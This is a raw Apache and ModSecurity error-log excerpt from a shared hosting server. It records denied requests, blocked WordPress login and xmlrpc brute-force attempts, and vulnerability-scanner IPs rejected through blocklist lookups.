https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:24:15.093144 2026] [access_compat:error] [pid 646876:tid 646963] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:24:15.264616 2026] [access_compat:error] [pid 646876:tid 646929] [remote 216.73.216.182:54908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:15.264915 2026] [access_compat:error] [pid 646876:tid 646929] [remote 216.73.216.182:54908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:15.302888 2026] [security2:error] [pid 715691:tid 715870] [client 189.217.192.30:50461] ModSecurity: Access denied with code 406 (phase 2). Operator GT matched 0 at USER:bf_block. [file "/opt/mod_security/hg_rules.conf"] [line "1482"] [id "909121"] [msg "IP address blocked, too many xmlrpc.php failures"] [hostname "kawasakiz1.com"] [uri "/xmlrpc.php"] [unique_id "ai30r7V-dFiaX9AtWiQrTAAAASc"] [Sat Jun 13 18:24:15.303069 2026] [security2:error] [pid 715691:tid 715870] [client 189.217.192.30:50461] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "406"] [hostname "kawasakiz1.com"] [uri "/xmlrpc.php"] [unique_id "ai30r7V-dFiaX9AtWiQrTAAAASc"] [Sat Jun 13 18:24:15.489089 2026] [access_compat:error] [pid 646876:tid 646987] [remote 57.141.14.66:27858] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:15.489380 2026] [access_compat:error] [pid 646876:tid 646987] [remote 57.141.14.66:27858] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:15.543311 2026] [security2:error] [pid 646876:tid 646916] [remote 17.22.253.131:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 131.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30r9yTkdrNlD40tSHXwQAAByU"] [Sat Jun 13 18:24:15.587281 2026] [access_compat:error] [pid 715691:tid 715822] [remote 57.141.14.95:34927] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:15.587728 2026] [access_compat:error] [pid 715691:tid 715822] [remote 57.141.14.95:34927] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:15.599359 2026] [security2:error] [pid 715691:tid 715931] [client 189.217.192.30:50463] ModSecurity: Access denied with code 406 (phase 2). Operator GT matched 0 at USER:bf_block. [file "/opt/mod_security/hg_rules.conf"] [line "1054"] [id "900998"] [msg "Wordpress Brute Force 15 attempts in 3 Mins. 5 Min block"] [hostname "kawasakiz1.com"] [uri "/wp-login.php"] [unique_id "ai30r7V-dFiaX9AtWiQrWgAAAWQ"] [Sat Jun 13 18:24:15.599506 2026] [security2:error] [pid 715691:tid 715931] [client 189.217.192.30:50463] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "155"] [id "900406"] [msg "wp-login POST logging"] [data "406"] [hostname "kawasakiz1.com"] [uri "/wp-login.php"] [unique_id "ai30r7V-dFiaX9AtWiQrWgAAAWQ"] [Sat Jun 13 18:24:15.609462 2026] [access_compat:error] [pid 646876:tid 646933] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL21vdXNlMC9wb3dlcg== [Sat Jun 13 18:24:15.609757 2026] [access_compat:error] [pid 646876:tid 646933] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL21vdXNlMC9wb3dlcg== [Sat Jun 13 18:24:15.702762 2026] [security2:error] [pid 646876:tid 646971] [remote 17.241.227.27:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 27.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30r9yTkdrNlD40tSHXxQAAX1w"] [Sat Jun 13 18:24:15.721501 2026] [access_compat:error] [pid 715691:tid 715814] [remote 57.141.14.24:32088] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:15.721821 2026] [access_compat:error] [pid 715691:tid 715814] [remote 57.141.14.24:32088] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:15.794635 2026] [security2:error] [pid 715691:tid 715827] [remote 17.246.15.21:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 21.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30r7V-dFiaX9AtWiQrXgABVnQ"] [Sat Jun 13 18:24:15.837173 2026] [security2:error] [pid 715691:tid 715850] [client 210.217.96.217:58645] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30r7V-dFiaX9AtWiQrYAAAARM"] [Sat Jun 13 18:24:15.837296 2026] [security2:error] [pid 715691:tid 715850] [client 210.217.96.217:58645] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30r7V-dFiaX9AtWiQrYAAAARM"] [Sat Jun 13 18:24:15.914474 2026] [security2:error] [pid 646876:tid 647039] [client 159.223.112.69:48240] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30r9yTkdrNlD40tSHXxgAAAB8"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:15.917971 2026] [security2:error] [pid 715691:tid 715847] [client 159.223.112.69:48250] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30r7V-dFiaX9AtWiQrYgAAARA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:15.965463 2026] [access_compat:error] [pid 646876:tid 646921] [remote 57.141.14.26:54660] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:15.966243 2026] [access_compat:error] [pid 646876:tid 646921] [remote 57.141.14.26:54660] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:16.102562 2026] [security2:error] [pid 646876:tid 646995] [remote 17.246.19.9:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30sNyTkdrNlD40tSHXywAAInQ"] [Sat Jun 13 18:24:16.106353 2026] [security2:error] [pid 715691:tid 715952] [client 159.223.112.69:48266] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30sLV-dFiaX9AtWiQraAAAAXk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:16.109951 2026] [security2:error] [pid 646876:tid 647113] [client 159.223.112.69:48276] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30sNyTkdrNlD40tSHXzAAAAGk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:16.117979 2026] [security2:error] [pid 715691:tid 715853] [client 172.56.168.133:24967] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30sLV-dFiaX9AtWiQraQAAARY"] [Sat Jun 13 18:24:16.118112 2026] [security2:error] [pid 715691:tid 715853] [client 172.56.168.133:24967] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30sLV-dFiaX9AtWiQraQAAARY"] [Sat Jun 13 18:24:16.144497 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:24:16.144795 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:24:16.170632 2026] [security2:error] [pid 646876:tid 647091] [client 159.223.112.69:48292] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30sNyTkdrNlD40tSHXzwAAAFM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:16.302762 2026] [security2:error] [pid 646876:tid 647029] [client 159.223.112.69:48308] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30sNyTkdrNlD40tSHX0wAAABU"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:16.367241 2026] [security2:error] [pid 646876:tid 647054] [client 159.223.112.69:48312] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30sNyTkdrNlD40tSHX1QAAAC4"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:16.420462 2026] [security2:error] [pid 715691:tid 715962] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/htmlentities04.phpt"] [unique_id "ai30sLV-dFiaX9AtWiQrbgAAAYM"] [Sat Jun 13 18:24:16.558540 2026] [security2:error] [pid 715691:tid 715862] [client 159.223.112.69:48324] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30sLV-dFiaX9AtWiQrcwAAAR8"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:16.619916 2026] [access_compat:error] [pid 715691:tid 715768] [remote 57.141.14.22:21688] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:16.620312 2026] [access_compat:error] [pid 715691:tid 715768] [remote 57.141.14.22:21688] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:16.665264 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9tb3VzZTEvc3Vic3lzdGVtL2lucHV0NA== [Sat Jun 13 18:24:16.665580 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9tb3VzZTEvc3Vic3lzdGVtL2lucHV0NA== [Sat Jun 13 18:24:16.828619 2026] [access_compat:error] [pid 715691:tid 715795] [remote 57.141.14.15:38087] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:16.828991 2026] [access_compat:error] [pid 715691:tid 715795] [remote 57.141.14.15:38087] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:16.841917 2026] [security2:error] [pid 646876:tid 646917] [remote 17.241.227.149:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 149.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30sNyTkdrNlD40tSHX3gAAcSY"] [Sat Jun 13 18:24:17.190473 2026] [access_compat:error] [pid 646876:tid 646882] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDYvbW91c2UyL2RldmljZQ== [Sat Jun 13 18:24:17.190951 2026] [access_compat:error] [pid 646876:tid 646882] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDYvbW91c2UyL2RldmljZQ== [Sat Jun 13 18:24:17.298728 2026] [access_compat:error] [pid 646876:tid 646947] [remote 57.141.14.108:37453] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:17.299202 2026] [access_compat:error] [pid 646876:tid 646947] [remote 57.141.14.108:37453] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:17.324416 2026] [security2:error] [pid 715691:tid 715770] [remote 17.22.237.74:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 74.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30sbV-dFiaX9AtWiQrgwABLzs"] [Sat Jun 13 18:24:17.511430 2026] [access_compat:error] [pid 715691:tid 715798] [remote 57.141.14.31:27630] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:17.511740 2026] [access_compat:error] [pid 715691:tid 715798] [remote 57.141.14.31:27630] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:17.682491 2026] [access_compat:error] [pid 715691:tid 715728] [remote 57.141.14.63:27196] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:17.682803 2026] [access_compat:error] [pid 715691:tid 715728] [remote 57.141.14.63:27196] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:17.690713 2026] [security2:error] [pid 715691:tid 715836] [remote 17.241.75.87:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 87.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30sbV-dFiaX9AtWiQrkQABGH0"] [Sat Jun 13 18:24:17.730671 2026] [access_compat:error] [pid 646876:tid 647005] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 